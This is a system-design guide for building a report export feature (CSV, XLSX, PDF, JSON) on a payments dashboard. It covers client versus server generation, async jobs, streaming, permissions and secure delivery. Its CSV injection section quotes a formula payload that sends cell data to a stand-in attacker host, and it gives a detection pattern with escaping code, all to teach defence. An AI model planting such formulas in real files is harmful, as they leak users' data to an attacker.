Design report export
The "Export" button of an analytics or admin product: turn what the user sees on screen into a CSV, Excel, PDF or JSON file and get it onto their disk. The hard parts are choosing between building the file in the browser and running a server job, keeping the file faithful to the screen and to permissions, and writing files that Excel opens correctly and safely, from 50 rows to 5 million.
The question
Our payments dashboard has a table of transactions with filters for date range, status and country. Finance teams want an Export button. Some exports are 40 rows for one day; one customer wants every transaction for the last three years, about 5 million rows. Today the button fetches everything into the browser and the tab crashes.
Design the export feature on the frontend: what happens from the click to a file on disk, which formats you offer, how big exports work, and how the user learns the file is ready.
Real-life examples: Stripe Dashboard "Export payments", Shopify order and product export, Google Analytics and Search Console exports, Jira issue export to CSV, A bank statement PDF download
Requirements, and what makes export hard
A report export turns rows the user is looking at into a file they can keep: a CSV for a spreadsheet, an Excel workbook, a PDF statement, or JSON for a script. Almost every admin or analytics product has one, from Stripe's payments list to a bank statement.
It looks like one button, but the size of the export varies by five orders of magnitude: 50 rows build in milliseconds, while 5 million rows are about 1 GB of CSV and take minutes on a server. One design has to cover both without making the small case slow or the big case crash.
Other guides cover the screens around this one, so this guide links to them instead of repeating them: data-table and analytics-dashboard (the screen being exported, with its filters in the URL), admin-cms (admin list views and roles), csv-import (the opposite direction), file-uploader (moving big files into object storage), notifications-center and toast-notifications (telling the user), and progress-bar-queue (progress UI). This guide is about producing and delivering the file.
Questions that change the design
- How many rows, at most? If the answer is always under 10,000, the browser can build the file. If it can reach millions, you need a server job. Ask for the largest real customer, not the average.
- Where does the data live? If every row is already loaded in the table, the client has it. If the table is paginated from the server (it almost always is), the full result only exists on the server.
- Which formats? CSV is the default. XLSX, PDF and JSON each serve a different reader, so ask who opens the file.
- Must the file match the screen exactly? Same filters, sort, columns and time zone. Usually yes: a finance user compares the file with the screen.
- Who can export what? Can a support agent export customer emails? Exports are the easiest way to leak data in bulk, so permissions matter more here than on the screen.
- Do users wait, or leave? A 2 second export can be a spinner on the button. A 4 minute export needs a job the user can leave and come back to, with a notification.
Functional requirements
- Export the current view (filters, sort, visible columns) as CSV, XLSX, PDF (statements only) or JSON.
- Small exports download right away. Large ones run as a background job and the user gets a download link when it is done, in the app and by email.
- A "Your exports" list shows recent jobs with status, size, and when the link expires. The user can cancel a running job and retry a failed one.
- The file name says what it is: report name and date range, for example
payments_2026-01-01_to_2026-03-31.csv.
Non-functional requirements
| Requirement | Target | Why |
|---|---|---|
| Small export latency | File on disk under 1 s for under 10,000 rows | Feels instant; no job UI needed |
| Largest export | 5 million rows, about 1 GB of CSV | The biggest real customer |
| Page stays responsive | No main-thread task over 50 ms while exporting | A long task freezes scrolling and typing |
| Server memory | Flat, whatever the row count | One huge export must not take down the worker |
| Link lifetime | Signed download URL valid about 15 minutes; file kept 7 days | A leaked link stops working soon |
| Correctness | Excel opens the file with accents, dates and leading zeros intact | Most CSVs end up in Excel |
| Safety | No formulas run when the file is opened; only permitted rows and columns | Exports are a data leak and an attack path |
Out of scope: scheduled exports ("email me this report every Monday") and exports to other systems (a warehouse or Google Sheets). Both reuse the job system from this guide with a different trigger or destination, so mention them as extensions.
Check your understanding · Exercise 1
Which answers from the interviewer change the design the most (select all that apply)? Select all that apply.
What makes export hard
Four properties drive every decision in this guide; each later chapter answers one of them.
- The size range is huge. A design that is right for one end is wrong for the other: a server job for 50 rows adds seconds of waiting and a notification for nothing, and an in-browser build for 5 million rows crashes the tab.
- The file must be faithful. It must hold exactly the rows and columns the user sees, with the same filters and time zone, and nothing they are not allowed to see. And it must be consistent: if new payments arrive while a 4 minute export runs, the file must not contain half of them.
- The file leaves your app. Once it is on disk, you no longer control how it is read. Excel guesses the encoding, the delimiter, and the types. A cell that starts with
=becomes a formula. A leaked download link is a leaked database extract. - Slow work outlives the page. A big export takes minutes, and the user switches tabs, closes the laptop, or navigates away. The job must survive that, and the user must still find the file later.
A quick size estimate makes the first point concrete. A payments row with 12 columns (id, date, amount, currency, status, customer email, country, and so on) is about 200 bytes as CSV. So 10,000 rows are 2 MB and 5 million rows are 1 GB. These are estimates for this example; measure your own rows.
| Rows | CSV size (200 B/row) | Where it can be built |
|---|---|---|
| 50 | 10 KB | Browser, instantly, if the rows are loaded |
| 10,000 | 2 MB | Browser, in a worker or in chunks |
| 100,000 | 20 MB | Browser only with streaming; usually a server job |
| 1,000,000 | 200 MB | Server job |
| 5,000,000 | 1 GB | Server job with streaming, maybe split into files |
Think first
The table shows 50 rows per page from the server. The user filters to one day and sees "38 results". Can the browser build this export without asking the server for anything?
Yes, if all 38 rows are already loaded and the columns on screen are all the file needs. The client has the exact rows in the exact order.
But check two things. Is every exported column on screen, or does the export include extra fields (like a fee breakdown) the table never loaded? And are the loaded rows fresh? If either fails, ask the server for the rows, which is still fast for 38 rows.
Decision 1: build the file in the browser or on the server
The naive design is the one in the question: on click, fetch every matching row into the browser, build a CSV string, and download it. It works in the demo with 200 rows. With 5 million rows it asks the API for 1 GB of JSON (JSON is bigger than CSV because every row repeats the field names), holds it as JavaScript objects (several times the JSON size), then builds a second 1 GB string.
V8, Chrome's JavaScript engine, caps a single string at about 536 million characters (2 to the power 29, minus 24, on 64-bit systems). A 1 GB CSV is about a billion characters, nearly twice that cap, and the row objects behind it often exhaust the tab's memory first. Chrome shows its "Aw, Snap!" crash page and the user loses the page.
So the real question is: for this export, where is the data, and how big is it? There are four ways to make the file.
Decision Where is the export file produced?
What we pick: Use two paths. When every row the file needs is already loaded and there are fewer than about 10,000 of them, build a Blob in the browser: instant, and it is literally what the user sees. Everything else is an async server job. To keep small server exports from feeling slow, the client polls fast at first, and a job that finishes within a few seconds turns the button into a Download link right there. Client streaming to disk is a nice extra for Chromium, not a foundation, because Firefox, Safari and mobile users can't use it.
How the client path works
A Blob is an immutable chunk of bytes the browser holds for you, with a MIME type. URL.createObjectURL(blob) gives it a temporary blob: URL, tied to your origin, that lives until it is revoked or the document unloads. An a element with a download attribute tells the browser to save the target instead of opening it, and its value is the suggested file name. The download attribute only works for same-origin URLs and blob: or data: URLs, which is why the client makes a blob: URL.
async function downloadCsv(rows: Payment[], cols: Column[], name: string) {
const parts: string[] = ["\uFEFF", cols.map((c) => csvCell(c.label)).join(",") + "\r\n"];
for (let i = 0; i < rows.length; i++) {
parts.push(cols.map((c) => csvCell(c.value(rows[i]))).join(",") + "\r\n");
// Give the main thread a breath every 2,000 rows.
if (i % 2000 === 1999) await new Promise((r) => setTimeout(r));
}
const blob = new Blob(parts, { type: "text/csv;charset=utf-8" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = name;
document.body.append(a);
a.click();
a.remove();
// The blob stays in memory until revoked or the page unloads.
setTimeout(() => URL.revokeObjectURL(url), 10_000);
}
csvCell is the quoting and escaping function from the formats chapter.- Parts, not one string.
new Blob(parts)copies the pieces into browser-managed memory, outside the JavaScript heap. Buildingparts.join("")first adds another full copy of the file to peak memory, and a single string has a length cap. - Yield to the main thread. Formatting 10,000 rows of 12 columns can take 50 to 150 ms on a mid-range phone (an estimate; measure yours). Yielding every 2,000 rows keeps each task short so the page still scrolls. For bigger client builds, move the loop into a Web Worker and post the finished Blob back.
- Revoke the URL. A
blob:URL keeps its Blob alive untilURL.revokeObjectURLruns or the document unloads. In a single-page app the document never unloads, so ten exports leak ten files' worth of memory. Revoking right afterclick()usually works, but a short delay avoids cutting off a slow download start. - It must be a user gesture. Browsers may block or ask about downloads that start without a click, and several downloads in a row make Chrome ask whether the site may download multiple files. Start the download from the click handler, or from a link the user clicks.
revokeObjectURL frees the Blob, which otherwise lives as long as the page.Check your understanding · Exercise 2
Which exports should use the client Blob path in this design (select all that apply)? Select all that apply.
Decision 2: the async export job and how the client hears back
Once the export is a server job, the frontend's work changes: it no longer builds anything. It starts a job, tracks it, tells the user when it is done, and hands over the file safely. Shopify's help center describes a similar split: exporting up to 50 orders or the current page downloads the CSV, while bigger exports and exports by date are emailed. Our design does both in one flow.
Starting the job
The client sends the current view, not a list of rows: the same filter object the table uses (see url-as-state), plus sort, columns, format and time zone. The server answers 202 Accepted, which means "I took the work, it is not done yet", with the job id and a Location header pointing at the job. The details of 202 and error shapes are in the rest-api-design and api-contracts-and-errors lessons.
POST /api/exports
Idempotency-Key: 7f3c9e1a-2b4d-4c8e-9a10-55e2c1d0b6aa
Content-Type: application/json
{ "report": "payments", "format": "csv",
"filters": { "status": ["failed"], "from": "2026-01-01", "to": "2026-03-31" },
"sort": [{ "field": "created", "dir": "desc" }],
"columns": ["id", "created", "amount", "currency", "status", "country"],
"timeZone": "Europe/Berlin" }
HTTP/1.1 202 Accepted
Location: /api/exports/exp_81Hk2
{ "id": "exp_81Hk2", "status": "queued", "estimatedRows": 412880 }
estimatedRows comes from a cheap count, so the UI can say "about 413,000 rows" right away.Idempotency means sending the same request twice has the same effect as sending it once. Two layers matter here. The Idempotency-Key header, generated once when the dialog opens and reused for every retry of that request, stops a network retry or a double click on Start from creating two jobs.
The second layer: the server reuses a job when the same user asks for the same report with the same normalized filters, columns and format within, say, 10 minutes. It returns the existing job instead of running the 4 minute query again. Finance users click Export, wonder if it worked, and click again; this turns that into one job.
Hearing back: polling, push, or email
Decision How does the client learn the job finished?
What we pick: Combine them by duration. While the user is on the page, poll with backoff (see short-polling and retries-and-backoff), or listen on the push stream if the app already has one (see server-sent-events), and still poll once on reconnect so a missed event can't leave a job stuck. If the job is still running after about 30 seconds, show "We'll email you when it's ready" and send the email and a notification-center item on completion.
Polling is cheap if you stop when nobody is looking. Pause it on visibilitychange when the tab is hidden and poll once when it becomes visible again. Keep the job in an app-level store, not in the Export button's component state: if the user navigates from Payments to Customers, the button unmounts but the job tracker keeps running and a toast says "Payments export is ready" (see toast-notifications). On a full reload, the client restores its jobs from GET /api/exports, because the server is the source of truth.
Job states, cancel and expiry
A job is a small state machine. Naming the states helps both the UI (what to show) and the server (what is allowed next).
queued waits for a worker, and running reports progress as rows written. succeeded has a file; failed has an error code the user can understand, like too_many_rows or timeout. cancelled was stopped by the user, and expired had a file that storage has since deleted.
- Cancel:
POST /api/exports/exp_81Hk2/cancelsets a flag. The worker checks it between batches of rows, stops, and deletes the partial file. Cancelling a queued job just removes it from the queue. - Retry: a failed job gets a Retry button that starts a new job with the same request. The old one stays in history so support can see what happened.
- Expiry: files live 7 days, deleted by a storage lifecycle rule. The job row stays as
expiredso "Your exports" can say "Expired, export again" instead of a broken link. - Your exports: a page or panel listing the user's last jobs with report name, filters summary, status, row count, size, and "expires in 6 days". It is where the email and the notification link to, and where the user goes when they lost the toast.
Check your understanding · Exercise 3
A user clicks Export, sees a spinner, and navigates to another page 10 seconds later. What should happen (select all that apply)? Select all that apply.
Decision 3: export what the user sees, and nothing more
A finance user filters to "failed payments, Q1, Germany", sorts by amount, hides three columns, and clicks Export. The file must contain the same rows in the same order with the same columns. If it contains all payments, they will paste the wrong numbers into a report. If it contains a column they could not see, you have a data leak.
One query description, two consumers
The table already has a view state: filters, sort, visible columns, page size, usually mirrored in the URL (see url-as-state and the data-table guide). The export request reuses that exact object, minus the page. The server feeds it to the same query builder the list endpoint uses. One function turning filters into SQL means the export can't drift from the table when someone adds a new filter next year.
- Sort needs a tiebreaker. Sorting by amount alone gives an unstable order for equal amounts. Add the id as a final sort key so the file is the same every time and keyset pagination works (see the large exports chapter).
- Time zone is part of the view. The table shows times in the user's zone. Send
timeZone: "Europe/Berlin"and write times as ISO 8601 with the offset:2026-03-31T09:15:00+02:00. A date range "January 1 to March 31" also means Berlin midnights, not UTC ones, or the file gains or loses a few hours of rows at each edge. - Relative ranges are frozen. "Last 7 days" means different rows tomorrow. Resolve it to absolute dates when the job starts and store those on the job, so a retry exports the same range.
A snapshot, so the file is consistent
Payments keep arriving while a 4 minute export runs. If the worker reads page 1 at 14:02 and page 900 at 14:06, payments created in between sneak into the file, and a payment that moves from "pending" to "failed" can appear twice or not at all. The first fix is a snapshot time: the job records asOf when it starts, and the query only includes rows created at or before it.
asOf does not cover rows that change while the export runs. The second fix: read every page inside one transaction at the repeatable-read isolation level, so each page sees the database as it was at the start; a read replica keeps that long read off the primary.
Show the snapshot time in Your exports and put it in the file itself where the format allows, such as a notes sheet in XLSX: "as of 2026-03-31 14:02 UTC". That one line saves many support tickets that start with "the totals don't match".
Permissions are checked where the file is built
The client sends a list of column ids, and the server never trusts it. It intersects the list with the columns this user's role may read and applies the same row scope as the list API, such as this account or this team. A support agent who edits the request to add customer_email gets the file without it, and the job records which columns were dropped. Masked fields stay masked: if the screen shows a card as •••• 4242, the export shows the same, not the full value.
Check your understanding · Exercise 4
The table shows "Last 7 days" in the Europe/Berlin time zone, sorted by amount. Which details belong in the export request or job (select all that apply)? Select all that apply.
Decision 4: formats that open correctly and safely
The file leaves your app and lands in Excel, Numbers, Google Sheets, a Python script, or a printer. Offer the few that match real readers, and make each one correct for its most common reader.
| Format | Best for | Watch out for |
|---|---|---|
| CSV | Everything; the default | Encoding, delimiter, Excel's type guessing, formula injection |
| XLSX | Finance users who want typed columns, several sheets | 1,048,576 rows per sheet; heavier to generate |
| Statements, invoices, anything printed or signed off | Pagination, repeated headers; not for big tables | |
| JSON / NDJSON | Developers and scripts | Use one object per line (NDJSON) so large files stream |
CSV that Excel reads the way you meant
The quoting rules come from RFC 4180, and the csv-import guide explains them from the reading side: a field that contains a comma, a double quote, or a line break is wrapped in double quotes, and a double quote inside it is doubled. Lines end with CRLF. On the writing side, the traps are about what Excel does when it opens the file with a double click:
- Encoding. Write UTF-8. Excel on Windows may read a CSV without a byte order mark in the system's legacy code page, so
Müllerturns intoMüller. Starting the file with the UTF-8 byte order mark (BOM, the bytesEF BB BF, or\uFEFFin a JavaScript string) makes Excel read it as UTF-8. Some scripts then read the BOM as part of the first header name (Python needs theutf-8-sigencoding to drop it), so mention it in the API docs. - Delimiter. Excel splits a double-clicked CSV on the system's list separator. In many European locales, where the decimal mark is a comma, that separator is a semicolon, so a comma file opens as one long column. Offer "CSV (semicolon, for Excel in Europe)" based on the user's locale, or steer those users to XLSX, which has no delimiter at all.
- Numbers and dates. Write numbers without thousands separators and with a dot for decimals (
1234.50, not1,234.50), plus a separate currency column. Write dates as ISO 8601. Localized formats like03/04/2026are ambiguous between US and European readers (see locale-formatting). - Long ids and leading zeros. Excel keeps 15 significant digits, so an 18-digit order id becomes
1.23457E+17and loses its last digits, and the postal code01234becomes1234. CSV can't say "this is text". If these columns matter, XLSX with text-typed cells is the real fix.
CSV injection: cells that become formulas
Your export contains text other people typed: customer names, notes, product titles. A spreadsheet treats a cell that starts with = as a formula. If a customer names themselves =HYPERLINK("https://evil.example/?d="&A2, "Click"), the finance user who opens your export sees a link that sends a neighbouring cell to an attacker. This is CSV injection (or formula injection), the same idea as the xss lesson: data must never be read as code by whatever renders it next.
OWASP's guidance is that no cell may start with =, +, -, @, a tab, a carriage return, or a line feed, nor with the full-width forms of =, +, - and @ that some locales, such as Japanese, also treat as formulas. Fields that contain the separator or a quote character need quoting too, or an attacker can start a new cell in the middle of their input.
const DANGEROUS = /^[=+\-@\t\r\n\uFF1D\uFF0B\uFF0D\uFF20]/;
export function csvCell(value: string | number | null, sep = ","): string {
if (value === null) return "";
if (typeof value === "number") return String(value); // 1234.5, never "1,234.50"
let s = value;
if (DANGEROUS.test(s)) s = "'" + s; // shown as text, not run as a formula
const needsQuotes = s.includes(sep) || /["\r\n']/.test(s); // OWASP: quote ' too
return needsQuotes ? '"' + s.replaceAll('"', '""') + '"' : s;
}
The leading apostrophe makes Excel read the value as text instead of running it. The cost: the apostrophe is now part of the data, so people may see it in the cell and a script reading the file sees '=SUM(A1). That's an acceptable trade for a file meant for people; for the JSON export, write the raw value.
No CSV escape is perfect. OWASP warns that Excel can remove the escaping when a user saves and reopens the CSV, which brings the formula back. Its page also describes a tab character inside the quoted field as a prefix that holds up better in Excel, at the cost of a tab in the data. Both are reasons to offer XLSX, where a text cell stays text.
XLSX: typed cells and sheets
An XLSX file is a zip of XML files. Libraries such as SheetJS and ExcelJS write them; ExcelJS has a streaming writer that flushes rows as it goes, which you need on the server for large files. You get what CSV can't say: a cell is a date, a number with two decimals, or text, so leading zeros and long ids survive.
You can also freeze the header row, set column widths, and add a second sheet with the filters used. The hard limit: a worksheet holds at most 1,048,576 rows and 16,384 columns. A 5 million row export becomes five sheets or, more usefully, a message suggesting CSV.
PDF: documents, not data dumps
Decision How do you produce a bank-statement style PDF?
What we pick: Headless Chrome for statements and invoices, where the page count is small and looking like the product matters. Cap PDF exports at a few thousand rows with a clear message ("PDF is limited to 2,000 rows, use CSV for more"); nobody reads a 40,000 page PDF.
Check your understanding · Exercise 5
A German finance user double-clicks your CSV and sees one column full of Müller,1234.50,EUR. Which changes fix what they see (select all that apply)? Select all that apply.
Decision 5: 5 million rows without running out of memory
The naive worker repeats the naive client on a bigger machine: SELECT everything, build the file in memory, upload it. For 5 million rows that's gigabytes of row objects plus the file, and if three customers export at once the worker dies. The fix is to stream: rows flow through a pipeline in small batches, and at any moment the worker holds only a few thousand of them.
await db.transaction({ isolation: "repeatable read" }, async (tx) => {
const rows = tx.cursor(buildQuery(job.request, job.asOf), { batch: 5000 });
const body = pipeline( // node:stream; the callback form returns the last stage
rows, // async iterator of row objects
toCsvLines(job.columns, job.timeZone), // Transform: row -> "a,b,c\r\n"
trackProgress(job), // counts rows, checks the cancel flag
createGzip(), // CSV shrinks several times over
(err) => err && log.warn("export stream failed", err), // every stage is destroyed on error
);
const upload = new Upload({ client: s3, params: {
Bucket: "exports", Key: `${job.id}/${job.fileName}`, Body: body,
ContentType: "text/csv; charset=utf-8", ContentEncoding: "gzip",
ContentDisposition: `attachment; filename="${job.fileName}"`,
}});
await upload.done(); // multipart upload, a few parts in flight
});
- Database cursor. A server-side cursor (or keyset pagination on
(created, id)) reads 5,000 rows at a time.OFFSETpagination is wrong here: page 900 makes the database skip 4.5 million rows first, so each page gets slower. - Backpressure. Node.js streams and web
ReadableStreams both pause the producer when the consumer is slow. If the upload stalls, the cursor stops reading. Without it, a fast database fills memory waiting for a slow network. - Compression. CSV is repetitive text and gzip usually shrinks it several times over (measure your data). Storing it gzipped with
Content-Encoding: gzipmakes the download smaller, and browsers normally decode it on the fly, so the user still gets a plain.csvfile. - Multipart upload. Object storage takes big files in parts (S3 parts are at least 5 MiB except the last, and at most 10,000 parts per file), uploaded as they fill. The worker never needs the whole file on disk.
Limits, splitting and honest messages
Streaming removes the memory limit, not every limit. Decide the others up front and tell the user before they wait.
- Row limit per format. XLSX: 1,048,576 rows per sheet. PDF: a few thousand rows. CSV: set a product cap, for example 10 million rows. Check
estimatedRowswhen the job is created and fail fast withtoo_many_rowsand a suggestion ("Narrow the date range or choose CSV"), instead of failing after 20 minutes. - Splitting. Above about 1 million rows, split the CSV into parts of 1 million rows each so every part opens in Excel, and deliver them as one ZIP or as several links on the job. Each part repeats the header row.
- Time limit. Give the job a timeout (say 30 minutes) and record progress. A crashed worker's job is picked up again and restarts from the beginning. Because the range and
asOfare stored on the job, the restart covers the same window; only rows that changed in the meantime can differ. - Fairness. Limit running exports per account (for example 3) and queue the rest, so one customer's 5 million rows don't delay everyone's 2,000-row exports. Small jobs can go to a separate fast queue.
Think first
The job reports rowsWritten. How should the client show progress for a 4 minute export, and what should it avoid?
Show a determinate bar from rowsWritten / estimatedRows with text like "1.2 million of about 4.1 million rows". Say "about", because the estimate came from a quick count and can be off. Clamp the bar at 99% until the status is succeeded, because the upload has to finish after the last row.
Avoid a percentage that jumps backwards or sits at 100% for a minute while the upload completes. The progress-bar-queue guide covers the UI details.
Check your understanding · Exercise 6
A 5 million row CSV export crashes the worker with an out-of-memory error. Which changes fix the root cause (select all that apply)? Select all that apply.
Architecture: the pieces and where data flows
The main boundary is between the export dialog, which lives and dies with the page, and the export jobs store, which lives as long as the app does. Everything that must survive navigation sits on the store side.
| Part | Responsibility | Why it is separate |
|---|---|---|
| Export button and dialog | Format, columns, scope summary ("412,880 rows, Q1, failed"), start | Pure UI; unmounts when the user leaves the page |
| View state | Filters, sort, columns, time zone, from the URL | Shared with the table, so the export can't drift from the screen |
| Export planner | Picks client Blob or server job from row count and loaded data | One small, testable function instead of ifs in the button |
| Client CSV builder | Rows to Blob, in a Web Worker for more than a few thousand rows | Keeps formatting off the main thread |
| Export jobs store | Running and recent jobs; polling with backoff; push events | App-level, so jobs survive navigation |
| Notifier | Toast, notification center item, live region message | One place decides how loudly to say "ready" |
| Export API and workers | Validate, check permissions, queue, stream to storage, email | Heavy, slow work off the request path |
| Object storage and signed URLs | Holds files 7 days; serves them with short-lived links | Files never pass through the app servers |
Follow one big export through the system. The planner says "server", the store sends POST /api/exports and adds the job as queued, and the API checks permissions, records asOf, writes an audit entry and queues the job. A worker streams rows into storage while the store polls or listens for an SSE event; on succeeded the notifier shows a toast and announces it. Download asks for a fresh signed URL, and the browser fetches the file straight from storage.
Client data model
type ExportFormat = "csv" | "csv-semicolon" | "xlsx" | "pdf" | "ndjson";
type JobStatus = "queued" | "running" | "succeeded" | "failed" | "cancelled" | "expired";
type ExportRequest = {
report: "payments" | "customers" | "payouts";
format: ExportFormat;
filters: PaymentFilters; // same object the table uses
sort: { field: string; dir: "asc" | "desc" }[];
columns: string[]; // server intersects with the role's columns
timeZone: string; // IANA name, e.g. "Europe/Berlin"
};
type ExportJob = {
id: string;
request: ExportRequest;
status: JobStatus;
asOf: string; // snapshot time, ISO 8601
estimatedRows: number;
rowsWritten: number;
fileName: string; // "payments_failed_2026-01-01_to_2026-03-31.csv"
sizeBytes?: number;
expiresAt?: string; // when storage deletes the file
error?: { code: "too_many_rows" | "timeout" | "internal"; message: string };
createdAt: string;
};
API
| Endpoint | Purpose | Returns |
|---|---|---|
POST /api/exports | Start a job from an ExportRequest, with Idempotency-Key | 202 and the job, or the reused job; 422 too_many_rows; 429 when over the limit |
GET /api/exports/:id | Poll one job | The job with status and progress; Retry-After hint while running |
GET /api/exports?limit=20 | "Your exports" list, newest first | Jobs plus a cursor for the next page |
POST /api/exports/:id/cancel | Stop a queued or running job | The job as cancelled |
POST /api/exports/:id/download | Mint a signed URL now | { url, expiresAt }, valid about 15 minutes; 410 once the file has expired |
SSE export.updated | Push status changes on the app's stream | { id, status, rowsWritten } |
Why a separate download endpoint instead of putting the signed URL on the job? A URL stored on the job and shown in the list would expire after 15 minutes while the page sits open. Minting it on click means the link is always fresh, the permission check runs again (the user may have lost access since), and every download leaves an audit entry.
Check your understanding · Exercise 7
Why does the export jobs store live at the app level instead of inside the Export button (select all that apply)? Select all that apply.
Delivering the file: button states, accessibility and security
The Export button has four states, and each must say what is happening in words: idle ("Export"), preparing ("Preparing export, 38%", still focusable, with a Cancel next to it), ready ("Download payments_failed_2026-01-01_to_2026-03-31.csv, 18 MB"), and failed ("Export failed: too many rows. Narrow the date range" with Retry). After 30 seconds of preparing, the button returns to idle with a line "Still working. We'll email you and it will be in Your exports", so the user is free to leave.
The file name is part of the UX. export (7).csv in a Downloads folder is useless a week later. Build it from the report name, the main filter, and the resolved date range: payments_failed_2026-01-01_to_2026-03-31.csv. Keep it ASCII-safe, and send it in the Content-Disposition header (with the RFC 6266 filename* form for non-ASCII names) so it is right even when the download comes from storage.
Accessibility
- Announce, don't move focus. When a job finishes, put "Payments export is ready to download" in a polite live region (
role="status"), so a screen reader says it at the next pause without interrupting. Failures can use the same region; they are not emergencies. See aria-patterns and screen-readers. - A real link to download. The ready state is an
aelement or a button the user can Tab to and press, labelled with the file name and size. Moving focus to it automatically would yank a keyboard user away from what they were doing. - No surprise downloads. Only start a download from a click on Export or Download. A file appearing minutes later on another page confuses everyone, screen reader users most.
- Progress is text too. Give the progress bar a text alternative like "1.2 million of about 4.1 million rows", and announce start, finish and failure, not every percent.
Security: an export is a bulk data leak waiting to happen
- Short-lived signed URLs. The file sits in a private bucket. On click, the server signs a URL for that one object, valid about 15 minutes. S3 (with Signature Version 4) and Google Cloud Storage both allow up to 7 days, and an S3 URL signed with temporary credentials dies when they do; use far less. S3 checks expiry when a request starts, so a slow 1 GB download that began in time still finishes, while a forwarded link stops working soon after.
- Attachment, never inline. Serve with
Content-Disposition: attachment, the correctContent-TypeandX-Content-Type-Options: nosniff, from a separate download domain. A CSV or HTML-looking file opened inline in your app's origin is an XSS risk. - No shared caching. Send
Cache-Control: private, no-storeso a CDN or proxy never stores one customer's file for another (see http-caching and cdn-caching). - Audit log. Record who exported which report, with which filters and columns, how many rows, and every download with its IP. When a sales rep leaves with the customer list, this is how you find out.
- Rate limits. On top of the running-job limit, cap jobs per user (for example 10 per hour) and answer
429withRetry-After. Exports are the most expensive request in the product and the easiest way to scrape it.
Check your understanding · Exercise 8
An export finishes while a screen reader user is filling in a form on another page. What should happen (select all that apply)? Select all that apply.
Running it in the interview
This is an easy problem, which means the interviewer expects you to finish the basics quickly and then show depth on two or three of the hard parts. A good 35 minute plan:
- Minutes 0 to 5: scope. Ask for the biggest export, where the data lives, which formats, and who may export what. Write the size range on the board: 50 rows to 5 million.
- Minutes 5 to 12: the split. Draw the client Blob path and the server job path, and say when each one runs. This is the decision the whole design hangs on.
- Minutes 12 to 20: the job. Draw the sequence:
POSTreturns202, worker, storage, polling or push, signed URL. Then the state machine with cancel and expiry. - Minutes 20 to 30: depth. Pick what the interviewer reacts to: formats and CSV injection, streaming 5 million rows, or exporting exactly what the user sees with permissions and a snapshot.
- Minutes 30 to 35: delivery. Button states, live region, file name, security headers, audit log.
Say the numbers out loud: "200 bytes a row, so 5 million rows is about 1 GB, which is why it can't be built in a tab." Numbers turn an opinion into a decision.
Think first
Follow-up: "Now users want this report emailed every Monday." What changes?
Almost nothing in the pipeline. A scheduler creates the same export job each Monday, with the date range resolved relative to that run ("last 7 days" becomes absolute dates at run time). The completion step emails a link to Your exports instead of updating a page.
The new parts are a schedule entity (owner, report request, cron rule, recipients), re-checking the owner's permissions at every run, and stopping schedules for users who lost access.
Think first
Follow-up: "A customer says their order ids look wrong in Excel." What happened, and what do you offer?
Long numeric ids lost precision: Excel keeps 15 significant digits, so an 18-digit id becomes 1.23457E+17 and its last digits turn to zeros. CSV can't mark the column as text.
Offer XLSX, where the id column is written as text cells. For CSV, ids with a letter prefix (ord_123..., like Stripe's ch_ ids) also work, because Excel reads them as text.
Summary
- Size decides the path: build a Blob in the browser only when every row the file needs is already loaded and small (about 10,000 rows); everything else is an async server job.
- A job is
POSTreturning202and an id, a worker streaming to object storage, and a client that hears back by polling with backoff or push while watching, and by email when it isn't. - Export the view, not the page: reuse the table's filters, sort, columns and time zone, freeze relative dates, add a tiebreaker sort, and record a snapshot time.
- Permissions are checked where the file is built: the server intersects requested columns with the role's columns and applies the list API's row scope.
- CSV for Excel needs UTF-8 with a BOM, a locale-aware delimiter option, plain numbers, ISO dates, and formula escaping for text cells starting with
=,+,-,@, tab, CR or LF. - Big exports stream from a database cursor through gzip into a multipart upload, with backpressure; memory stays flat, and row limits fail fast with a clear message.
- Deliver with short-lived signed URLs minted on click,
Content-Disposition: attachment,Cache-Control: private, no-store, an audit log, rate limits, and a polite live-region announcement instead of surprise downloads.
Check your answer
Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.
References
- MDN: URL.createObjectURL() Blob URLs and why to revoke them
- MDN: the a element and its download attribute Same-origin and blob: URL rules for downloads
- MDN: Window.showSaveFilePicker() Streaming to disk, with browser support
- RFC 4180: Common Format and MIME Type for CSV Files
- OWASP: CSV Injection Which leading characters to escape, and Excel caveats
- Microsoft: Excel specifications and limits 1,048,576 rows, 15 digit precision
- Microsoft: Opening CSV UTF-8 files correctly in Excel
- AWS: Download and upload objects with presigned URLs Expiry limits for signed URLs
- Google Cloud: Signed URLs V4 signed URLs last at most 7 days
- RFC 6266: Content-Disposition in HTTP attachment and filename* for non-ASCII names
- Shopify Help Center: Exporting orders A real small-download, large-email split
Concepts behind it
- REST for frontendsA way to shape an HTTP API around resources and a few standard verbs, so the frontend can fetch, cache, retry, and handle errors in the same predictable way everywhere.
- Short pollingThe browser asks the server "anything new?" on a timer: the simplest way to keep a page fresh, and the right answer more often than people think.
- Server-sent eventsOne HTTP response that never finishes: the server keeps writing small text events to it, and the browser's
EventSourceparses them, reconnects on its own, and resumes where it left off. The simplest push channel when data flows from server to client. - Retries, timeouts, and backoffHow a client survives a flaky network and a struggling server: give every request a deadline, retry only the failures that can heal, space the retries out with exponential backoff and jitter, and stop retrying when the server or the network is clearly down.
- The URL as stateFilters, sort, page, tab, and selected item stored in the address bar instead of only in memory, so a view can be shared, bookmarked, refreshed, and walked back with the Back button: the cheapest state store the browser gives you.
- Dates, numbers, and pluralsTurning raw instants, numbers, amounts, and counts into text that reads right for each user with the browser's built-in Intl APIs, instead of hand-built strings that are correct for only one country.
- Cross-site scripting (XSS)Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
- ARIA widget patternsThe tested recipes for custom widgets from the ARIA Authoring Practices Guide: combobox, listbox, menu, tabs, dialog, tree, grid, disclosure, and accordion, with the roles, states, and keys each one promises, and how to pick the right one.